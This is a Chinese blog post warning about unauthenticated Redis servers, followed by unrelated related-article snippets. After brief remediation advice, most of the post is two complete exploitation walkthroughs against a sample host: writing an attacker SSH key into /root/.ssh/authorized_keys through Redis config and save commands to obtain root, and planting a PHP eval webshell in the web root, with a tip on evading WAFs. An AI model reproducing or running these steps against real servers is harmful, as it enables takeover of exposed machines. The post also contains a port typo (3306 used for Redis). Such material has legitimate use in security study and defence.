当前位置: 首页 > news >正文

谨防利用Redis未授权访问漏洞入侵服务器

说明:

Redis是一个开源的,由C语言编写的高性能NoSQL数据库,因其高性能、可扩展、兼容性强,被各大小互联网公司或个人作为内存型存储组件使用。
但是其中有小部分公司或个人开发者,为了方便调试或忽略了安全风险,没有设置密码并直接对外开放了6379端口,那么这就是一个危险的行为。

漏洞成因:

未对Redis进行充分的访问控制,可利用Redis可写入文件的漏洞实现攻击。

漏洞影响范围:

所有对公网开放的Redis端口,未设置密码或设置弱密码的Redis服务的主机都存在这个漏洞。

危害:

  1. 利用SSH可获取服务器root权限。
  2. 可在项目中写入一句话木马。
  3. 利用redis的任意文件写入,造成其它危险操作。

解决方案:

  1. 使用防火墙策略关闭Redis端口。
  2. 找到redis配置文件的requirepass项并配置复杂的密码,毕竟弱口令也是漏洞。

利用方式1(获取root权限):

0. 背景:

CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器。

1. nmap扫描
nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).PORT     STATE SERVICE
6379/tcp open  redisNmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#发现开放了Redis服务
2. 尝试远程连接
redis-cli -h 192.168.1.180 -p 3306
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK
3. 本地生成SSH密钥对,将公钥写入自定义文件,发送给攻击目标。
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /test/ssh.txt
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key
4. 利用Redis备份功能将数据写入到目标服务器的root目录下
#远程连接
redis-cli -h 192.168.1.180 -p 6379
#尝试清空redis
192.168.1.180:6379> flushall
#设置 Redis 数据库的持久化存储路径
192.168.1.180:6379> config set dir /root/.ssh
#设置 Redis 数据库的持久化存储文件名
192.168.1.180:6379> config set dbfilename authorized_keys
#保存
192.168.1.180:6379> save
5. 远程连接目标服务器,成功入侵并获取了root权限
ssh root@192.168.1.180 -i /root/.ssh/id_rsa
The authenticity of host '192.168.1.180 (192.168.1.180)' can't be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.180' (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#验证用户
[root@lnmp ~]# whoami
root

利用方式2(web站点写入一句话木马):

0. 背景:

CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器,服务器有LNMP环境。

1. nmap扫描
└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).PORT     STATE    SERVICE
80/tcp   open     http
443/tcp  filtered https
6379/tcp open     redis
MAC Address: 00:0C:29:01:E8:DC (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#发现开放了Redis和http服务
2. 尝试远程连接Redis,这一步走不通下面流程就不用走了
redis-cli -h 192.168.1.180 -p 3306
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK
3. 尝试获取Web服务技术栈,发现用的是PHP
curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.6
3. 在Kali上安装dirsearch,找到带有phpinfo或者报错的页面,从而获取web站点的路径,dirsearch需要python3环境
#pip配置阿里云镜像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期间会提示安装一些包,正常安装就行。执行dirsearch,尝试路径爆破后进行手动过滤。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一个携带php报错的地址,手动访问
Warning: Undefined variable $res in /Host/err.php on line 2
#至此,发现php的站点在/Host下。
4. 将PHP一句话木马发送给目标的redis服务器
redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379> config set dir /Host
OK
192.168.1.180:6379> config set dbfilename "test.php"
OK
192.168.1.180:6379> set test "\n\n<?php eval($_GET['a']);?>\n\n"
OK
192.168.1.180:6379> save
OK

远程的文件是这样的,既包含了其它key的备份,也包含了一句话木马:

REDIS0009� redis-ver5.0.8� redis-bits�@�ctime™m`e�used-mem��Z �aof-preamble���ssh_keyB7 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCltv+2wFaA4vixtU7N0Iz4K9J/wO62iWli2emLNHYR8Q32hIsHzGvChgF3dcb1lLqndfCKDOk16FwHfkiChZAtjcruK36xWxrTNP54q5ZXBpuT6T+b8zkAljRLN0KqDPxfuM9IuObgMqNSxRPmdlMqxXp6B5BaMY8+iPJL175eM+0Jes2+U9yN/s5zEmjkYTXFHG96CMR+lHXcN3StXZKs4hZGRsxt2KxQ5TP+lsqVV7AIBAOO5milCOUOcOIZJ+bad5aMt+ESt4Sjnzy9Vln2i31UU2QqO4XiVLaLexm4JFqKpjLqis6C9YyTZYwFl/xam3FvroFrlFdsbaRP3W2c0aJLxtX2yHH/T0cFXQJbI5rA04Z+TS4gJqGeofQ8+dNHQc7lBLbcGuR5cN8g/0VKgh4b7bYsXRG9XFZXL7Kl6r2TBCg7FVIKkWoSALm5Qr0tEy1ytNSUMversoDq2q6/EPsfkUDfFJipoEpv4hCzJXy57dDQBOdGaIMvY6+Zk88= root@ZS abc�{test
5. 验证一句话木马文件,成功写入一句话木马
#由于PHP只解析从<?php到?>结束的代码,所以其余字符不受影响。
#为了防止被WAF拦截,传参过程也可自定义编码
http://192.168.1.180/test.php?a=phpinfo();

相关文章:

谨防利用Redis未授权访问漏洞入侵服务器

说明&#xff1a; Redis是一个开源的&#xff0c;由C语言编写的高性能NoSQL数据库&#xff0c;因其高性能、可扩展、兼容性强&#xff0c;被各大小互联网公司或个人作为内存型存储组件使用。 但是其中有小部分公司或个人开发者&#xff0c;为了方便调试或忽略了安全风险&#…...

关于一些bug的解决1、el-input的输入无效2、搜索之后发现数据不对3、el多选框、单选框点击无用4、

el-input输入无效 原来的代码是 var test null 但是我发现不能输入任何值 反倒修改test的初始值为123是可以的 于是我确定绑定没问题 就是修改的问题 于是改成 var test ref&#xff08;&#xff09; v-model绑定的值改成test.value就可以了 因为ref是相应式的 可以通过输入…...

使用 JavaScript 进行 API 测试的综合教程

说明 API 测试是软件测试的一种形式&#xff0c;涉及直接测试 API 并作为集成测试的一部分&#xff0c;以确定它们是否满足功能、可靠性、性能和安全性的预期。 先决条件&#xff1a; JavaScript 基础知识。Node.js 安装在您的计算机上。如果没有&#xff0c;请在此处下载。npm…...

Vue 2.0源码分析-Virtual DOM

Virtual DOM 这个概念相信大部分人都不会陌生&#xff0c;它产生的前提是浏览器中的 DOM 是很“昂贵"的&#xff0c;为了更直观的感受&#xff0c;我们可以简单的把一个简单的 div 元素的属性都打印出来&#xff0c;如图所示&#xff1a; 可以看到&#xff0c;真正的 DOM …...

(HAL库版)freeRTOS移植STMF103

正点原子关于freeRTOS的教程是比较好的&#xff0c;可惜移植的是标准库&#xff0c;但是我学的是Hal库&#xff0c;因为开发速度更快&#xff0c;从最后那个修改SYSTEM文件夹的地方开始替换为下面的内容就可以了 5.修改Systick中断、SVC中断、PendSV中断 将SVC中断、P…...

vue2-axios

下载axios 开发版本&#xff1a;axios.js 生产版本&#xff1a;axios.min.js 搭建服务器&#xff1a;json-server npm i -g json-serverjson-server --watch db.json&#xff08;启动服务并读取文件&#xff0c;db.json文件目录下启动&#xff09; json-server --watch db.j…...

创建maven的web项目

&#xff08;一&#xff09;创建maven的web项目 Step1、创建一个普通的maven项目 &#xff08;1&#xff09;新建一个empty project&#xff0c;命名为SSM2。 点击项目名&#xff0c;右键new&#xff0c;选择Module&#xff0c;左侧选择“Maven archetype”&#xff0c;可以给…...

使用uniapp开发系统懒加载图片效果

1、创建一个Vue组件 在uniapp项目中&#xff0c;我们可以创建一个独立的Vue组件来实现懒加载图片效果。打开uniapp项目&#xff0c;进入components文件夹&#xff0c;创建一个名为"LazeImage"的组件。 2、编写组件模板 在"LazeImage"组件中&#xff0c;…...

导入PIL时报错

在导入PIL时,报以下错误: 查找原因 参考博客 Could not find a version that satisfies the requirement PIL (from versions: ) No matching distributi-CSDN博客,按照wheel后,安装PIL时,报如下的错误。 查找说是python版本与wheel文件版本不同,确认本机python版本 …...

MyBatis Generator 插件 详解自动生成代码

MyBatis Generator&#xff08;MBG&#xff09;是MyBatis和iBATIS的代码生成器。可以生成简单CRUD操作的XML配置文件、Mapper文件(DAO接口)、实体类。实际开发中能够有效减少程序员的工作量&#xff0c;甚至不用程序员手动写sql。 它将为所有版本的MyBatis以及版本2.2.0之后的i…...

SkyWalking全景解析:从原理到实现的分布式追踪之旅

&#x1f38f;&#xff1a;你只管努力&#xff0c;剩下的交给时间 &#x1f3e0; &#xff1a;小破站 SkyWalking全景解析&#xff1a;从原理到实现的分布式追踪之旅 前言第一&#xff1a;SkyWalking简介第二&#xff1a;实现原理概览第三&#xff1a;主键与架构第四&#xff1…...

新手如何买卖可转债,可转债投资基础入门

一、教程描述 什么是可转债&#xff1f;可转债是可转换债券的二次简称&#xff0c;原始全称是可转换公司债券&#xff0c;这是一种可以在特定时间、按特定条件&#xff0c;转换为普通股票的特殊企业债券&#xff0c;可转换债券兼具债权和股权的特征&#xff0c;其英文为conver…...

研习代码 day39 | 动态规划——完全背包的应用

一、爬楼梯&#xff08;进阶版&#xff09; 1.1 题目 题目描述 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬至多m (1 < m < n)个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 注意&#xff1a;给定 n 是一个正整数。 输入描述 输入共一…...

Rust语言入门教程(五) - 流控制语句

if 表达式 在Rust中&#xff0c; if语句的判断条件不需要用( )括起来&#xff0c; 它会认为所有在if 和 {之间的表达式就是判断条件&#xff0c;例如&#xff1a; if num 5 {msg "five"; }判断条件的表达式必须返回一个bool型的值&#xff0c; 因为Rust是一个不喜…...

字符串:leetcode1410. HTML 实体解析器

1410. HTML 实体解析器 「HTML 实体解析器」 是一种特殊的解析器&#xff0c;它将 HTML 代码作为输入&#xff0c;并用字符本身替换掉所有这些特殊的字符实体。 HTML 里这些特殊字符和它们对应的字符实体包括&#xff1a; 双引号&#xff1a;字符实体为 &quot; &#xff…...

springboot+vue项目如何集成onlyoffice开源文档组件

一、onlyoffice是什么 ONLYOFFICE 是一个开源的办公套件&#xff0c;适合多人在线协作。由总部位于总部在拉脱维亚的 IT 公司Acensio System SIA 开发。它提供在线协作文档编辑器&#xff08;包括文档、电子表格、演示文稿和表单&#xff09;&#xff0c;适用于 Windows、Linu…...

Android okhttp3.0配置https信任所有证书

参考: Android okhttp3.0配置https的自签证书和信任所有证书 private OkHttpClient getHttpsClient() {OkHttpClient.Builder okhttpClient new OkHttpClient().newBuilder();//信任所有服务器地址okhttpClient.hostnameVerifier(new HostnameVerifier() {Overridepublic boo…...

大数据基础设施搭建 - Hive

文章目录 一、上传压缩包二、解压压缩包三、配置环境变量四、初始化元数据库4.1 配置MySQL地址4.2 拷贝MySQL驱动4.3 初始化元数据库4.3.1 创建数据库4.3.2 初始化元数据库 五、启动元数据服务metastore5.1 修改配置文件5.2 启动/关闭metastore服务 六、启动hiveserver2服务6.1…...

手把手教你安装 Visual Studio 2022 及其简单使用

软件下载 打开 Visual Studio 官网&#xff0c;个人选择免费的Community社区版就够用了。 软件安装 双击运行安装程序&#xff1a; 点击继续 即可&#xff1a; 等待加载完成&#xff1a; 可以看到 Visual Studio 2022 对应不同的开发需求提供了若干工作负载&#xff0c;这里以…...

在MySQL中,修改字段A相同的记录的字段B ,要使得字段C小的记录的字段B值等于字段C大的记录的字段B值

例如&#xff1a;更新具有相同电话号码的用户记录&#xff0c;使得updatetime小的记录的name值等于updatetime大的记录的name值。 首先&#xff0c;我们需要创建一个用户表&#xff0c;这个用户表包含以下字段&#xff1a;phone&#xff0c;updatetime, name。以下是创建这个表…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…...

生成xcframework

打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式&#xff0c;可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...

内存分配函数malloc kmalloc vmalloc

内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...

TDengine 快速体验(Docker 镜像方式)

简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能&#xff0c;本节首先介绍如何通过 Docker 快速体验 TDengine&#xff0c;然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker&#xff0c;请使用 安装包的方式快…...

QMC5883L的驱动

简介 本篇文章的代码已经上传到了github上面&#xff0c;开源代码 作为一个电子罗盘模块&#xff0c;我们可以通过I2C从中获取偏航角yaw&#xff0c;相对于六轴陀螺仪的yaw&#xff0c;qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...

C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。

1.先用Visual Studio 2017打开Yichip YC31xx loader.vcxproj&#xff0c;再用Visual Studio 2022打开。再保侟就有.sln文件了。 易兆微芯片下载工具加开机动画下载 ExtraDownloadFile1Info.\logo.bin|0|0|10D2000|0 MFC应用兼容CMD 在BOOL CYichipYC31xxloaderDlg::OnIni…...

【7色560页】职场可视化逻辑图高级数据分析PPT模版

7种色调职场工作汇报PPT&#xff0c;橙蓝、黑红、红蓝、蓝橙灰、浅蓝、浅绿、深蓝七种色调模版 【7色560页】职场可视化逻辑图高级数据分析PPT模版&#xff1a;职场可视化逻辑图分析PPT模版https://pan.quark.cn/s/78aeabbd92d1...

DAY 45 超大力王爱学Python

来自超大力王的友情提示&#xff1a;在用tensordoard的时候一定一定要用绝对位置&#xff0c;例如&#xff1a;tensorboard --logdir"D:\代码\archive (1)\runs\cifar10_mlp_experiment_2" 不然读取不了数据 知识点回顾&#xff1a; tensorboard的发展历史和原理tens…...

qt+vs Generated File下的moc_和ui_文件丢失导致 error LNK2001

qt 5.9.7 vs2013 qt add-in 2.3.2 起因是添加一个新的控件类&#xff0c;直接把源文件拖进VS的项目里&#xff0c;然后VS卡住十秒&#xff0c;然后编译就报一堆 error LNK2001 一看项目的Generated Files下的moc_和ui_文件丢失了一部分&#xff0c;导致编译的时候找不到了。因…...

嵌入式面试常问问题

以下内容面向嵌入式/系统方向的初学者与面试备考者,全面梳理了以下几大板块,并在每个板块末尾列出常见的面试问答思路,帮助你既能夯实基础,又能应对面试挑战。 一、TCP/IP 协议 1.1 TCP/IP 五层模型概述 链路层(Link Layer) 包括网卡驱动、以太网、Wi‑Fi、PPP 等。负责…...